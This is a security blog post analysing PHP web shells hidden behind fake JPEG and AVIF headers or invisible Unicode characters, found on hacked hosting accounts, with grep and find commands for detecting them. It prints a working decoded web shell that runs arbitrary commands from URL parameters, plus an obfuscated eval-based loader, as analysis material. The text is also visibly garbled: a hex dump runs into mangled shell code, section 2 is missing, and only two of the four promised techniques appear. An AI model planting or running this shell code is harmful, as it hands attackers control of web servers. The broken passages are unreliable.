# PHP Malware That Looks Like a Binary File > PHP files that the file command calls a JPEG image, that open as garbage in an editor and that grep can't find anything in. Four real tricks from hacked hosting accounts, what each file really did, and how to find them on your server. Source: https://www.pyxsoft.com/blog/php-malware-that-looks-like-binary Published: 2026-11-14 Tags: malware, php, obfuscation, webshell, research --- ![A file on a server that looks like a glossy photo or a block of binary noise; a beam of light reveals a small glowing orange-red PHP script hidden inside it](https://www.pyxsoft.com/_astro/cover.DUWNlmfk.jpg) Run `file` on a suspicious PHP file and it answers `JPEG image data`. Open it in an editor and you get a screen of garbage characters. Run `grep` for `eval`, `base64` or `system` and nothing matches. It's natural to decide it's a broken upload and move on. Some of these are attacks built to look exactly like that. Here are four techniques, all from files that reached [Pyxsoft Labs](https://www.pyxsoft.com/anti-malware) from hosting servers in the past three weeks. Of the six samples below, only one was flagged by any antivirus engine on VirusTotal when Labs checked it. Two were known there with zero detections, and three weren't known at all. ## 1. A fake image header, and the payload compressed after the end of the file Sample 545 was found as `~/public_html/bafna/js/tinymce/skins/ui/oxide/core.php`, hidden among the files of a text editor. For `file`, it's a picture: ``` $ file core.php core.php: JPEG image data ``` Its first four bytes are `FF D8 FF E2`, the start of a JPEG file. That's the only part of a JPEG in it. Right after them comes PHP: ``` 00000000: ffd8 ffe2 3c3f 7068 700a 2f2a 206d 6e6d ....";?>dnthirteen@h34rt****.today:~$ ").">";@$_++;$__ = ${("|"^"#").("{"^"<").("{"^">;").("{"^"/")}[!$_];$___ = `$__` ?: $__(${("|"^"#").("{"^"<").("{"^">;").("{"^"/")}[$_]);?>").">");__HALT_COMPILER();?> ``` PHP ignores everything outside `` and just prints it, so the image bytes before and after are harmless output. The code builds its strings by XORing pairs of characters: `"{"^"+"` is `P`, and `("|"^"#").("{"^"<")...` spells `_GET`. Decoded: ```php echo '
';
$_ = 1;
$__ = $_GET[0];
$___ = `$__` ?: $__($_GET[1]);
echo $___ . '
'; ``` That's a complete web shell in one line: `?0=ls -la` runs a shell command (the backticks), and if that fails, `?0=system&1=...` calls any PHP function with an argument. It even prints a fake terminal prompt. The point of hiding it in a real image is to get past upload forms. A form that checks the file's first bytes, or calls `getimagesize()`, sees a valid JPEG and accepts it. Then all it takes is a `.php` name, or a vulnerability that includes uploaded files. Sample 1667 does the same with a newer format. It's an AVIF image header followed by a full PHP file that introduces itself as a WordPress plugin, *File Manager Pro*, "advanced file manager with terminal". It was found inside `wp-admin/images/`. ## 3. Invisible characters between the hex Sample 2124, `~/public_html/wp-content/upgrade/modules/2025/src/media/knui/czsdv/admin.php`, is 337 KB. `file` calls it a PHP script, but its strings look like this (Unicode escapes shown so you can see what's in it): ``` '3‍7͏62⁢31؜7឵឵263\xad7...' ``` Every second or third character is invisible: zero-width space (`U+200B`), zero-width joiner (`U+200D`), byte order mark (`U+FEFF`), soft hyphen (`U+00AD`), the Arabic letter mark, Mongolian and Khmer vowel separators and more: 75,167 of them, almost one for every hex digit. In most editors they take no space at all, or show up as small boxes. A search for `3762` fails because those four characters are never next to each other. The string is also split into 8,752 pieces joined with `.`, cut in the middle of the multi-byte characters, and the method that uses it is shuffled with `goto`. Inside, the code lists 19 such characters and strips them: ```php $_invisible = ["\u{200B}", "\u{200C}", "\u{200D}", "\u{FEFF}", "\u{2060}", "\u{180E}", ...]; $a_HU518aE = str_replace($_invisible, '', $a_HU518aE); for ($i = 0; $i < strlen($a_HU518aE); $i += 2) { $out .= chr(hexdec(substr($a_HU518aE, $i, 2))); } eval(gzinflate(base64_decode($out))); ``` What's left is 75,256 hex digits, then base64, then compressed PHP: a complete **file manager** with its own login, database client and file editor, preceded by a redirect commented in Indonesian. ## How to look at files like these Don't trust `file` or how a file looks in an editor. A few checks find all of the above: ```bash # PHP files that "file" thinks are something else find /home/*/public_html -name '*.php' -type f -print0 | xargs -0 file | grep -vE 'PHP script|text|empty' # code that reads itself after __halt_compiler grep -rliE '__halt_compiler|__COMPILER_HALT_OFFSET__' --include='*.php' /home/*/public_html # images (or anything) that carry PHP grep -rlaE '<\?(php|=)' --include='*.jpg' --include='*.jpeg' --include='*.png' --include='*.gif' --include='*.ico' /home/*/public_html # zero-width characters in PHP files grep -rlP '\x{200B}|\x{200D}|\x{FEFF}|\x{2060}' --include='*.php' /home/*/public_html ``` The first one also lists legitimate PHP files saved with an unusual encoding, and the last one finds some translation files. Read before deleting. To see the beginning of a file as it really is, `xxd file.php | head` beats any editor. All four techniques come apart in our free [PHP deobfuscator](https://www.pyxsoft.com/tools/php-deobfuscator): it unpacks the data after `__halt_compiler`, decodes the XOR strings and the hex names, strips the invisible characters and shows the code, without running any of it. The [step-by-step guide](https://www.pyxsoft.com/blog/deobfuscate-php-malware-step-by-step) covers the techniques in more detail. All six samples in this post reached Labs because [Pyxsoft Anti Malware](https://www.pyxsoft.com/anti-malware) flagged them on the servers where they were found, five of them without any signature, by what their code does. 7 days free, on cPanel, DirectAdmin or a server with no panel.